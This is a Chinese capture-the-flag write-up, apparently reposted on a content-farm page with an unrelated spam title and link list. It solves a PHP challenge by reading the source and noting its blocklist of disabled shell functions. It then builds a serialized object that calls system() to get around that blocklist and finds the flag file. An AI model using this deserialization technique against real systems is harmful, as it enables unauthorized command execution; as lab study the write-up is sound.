当前位置: 首页 > news >正文

瑞金市网站建设如何安装wordpress博客

瑞金市网站建设,如何安装wordpress博客,咸宁网站设计,wordpress阿里云虚拟主机安装1.打开网站,吓我一跳 2.查看源代码,主要看到timezone,然后这个页面是五秒就会刷新一次 一开始去搜了这个,但是没什么用 3.使用bp抓包 会发现有两个参数,应该是用func来执行p 4.修改func和p file_get_contents&#…

1.打开网站,吓我一跳

2.查看源代码,主要看到timezone,然后这个页面是五秒就会刷新一次

一开始去搜了这个,但是没什么用

3.使用bp抓包

会发现有两个参数,应该是用func来执行p

 4.修改func和p

file_get_contents: 把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。

读取index.php

5.使用post传参,查看页面源代码

审计

<?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");    //定义disable_fun这个数组,禁用了这些函数function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}   //定义了一个名为gettime的函数,它接受一个函数名func和参数p,并通过call_user_func函数来调用指定的函数。a 获取变量的类型,如果a是字符串,则将其返回,否则返回空字符串。
//gettype() 函数用于获取变量的类型class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);} //定义了一个名为Test的类,其中包含了一个变量$p表示日期格式,以及一个变量$func表示要执行的函数名。在类的析构函数__destruct中,首先检查$func是否为空。如果不为空,则调用gettime函数来执行指定的函数,并将结果输出。
//__destruct() 魔术方法 对象被销毁时触发}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];  //从$_REQUEST超全局变量中获取传入的函数名和参数if ($func != null) {$func = strtolower($func);  //如果传入的函数名不为空,则将其转换为小写if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}  //检查其是否在$disable_fun数组中。如果函数名不在禁用列表中,则调用gettime函数来执行指定的函数,并将结果输出。否则,代码将输出"Hacker..."并终止程序。}?>

https://www.cnblogs.com/fps2tao/p/7865423.html    call_user_func函数详解

6.使用反序列化

先看一下有什么文件

<?php
class Test
{var $p = "ls";var $func = "system";
}
$a = new Test();
echo serialize($a);
?>

查看源代码,没有看到什么

查找含有flag的文件

find / -name flag*

 

 cat 这个文件

 

http://www.yayakq.cn/news/914203/

相关文章:

  • 自己做网站用什么数据库广州seo排名优化公司
  • 在线网站建设哪个正规网站里的网页是一个一个做的么
  • 温州高端模板建站wordpress 群组插件
  • 静安手机网站建设小程序外包公司
  • php网站开发常用的插件郑州 建站 公司
  • 网站 国外空间不需要icp许可证吗网页设计太难了
  • 网站设计合同附件做毕设的网站万
  • 服装网站开发台州网站建设兼职
  • 甘肃省和城乡建设厅网站怀化订水网站
  • 兰溪网站建设前端和后端哪个前景好
  • 做男装比较好的网站有哪些服装销售 网站建设论文
  • 中文域名 网站网站面包屑导航
  • 中信建设网站资讯网站域名选购
  • 网站程序购买项目计划书ai生成
  • 广州站图片个人网页制作模板三张
  • 在百度怎么做网站和推广网站百度快照更新
  • nas云存储做视频网站一个域名建多个网站
  • 个人网站备案可以盈利吗wordpress如何设置导航栏
  • 查询个人公司注册公司大连网络seo公司
  • 全屏网站 代码一个人做导购网站
  • 网站建设 讲话动力风网站建设及软件开发合同
  • 做科研找论文的网站太原优化型网站建设
  • 广西网站设计运营公司制作网站项目实例
  • 接广告的网站免费教育网站建设
  • 东莞seo建站投放信宜网站建设公司
  • 常德市住房城乡建设局网站十二冶金建设集团有限公司网站
  • 网站设计与建设实训wordpress meta 排序
  • 网站流量 名词辽宁省住房和城乡建设厅网站首页
  • 免费网站安全软件大全网站栏目建设方案
  • 怎样建立手机网站庆云网站建设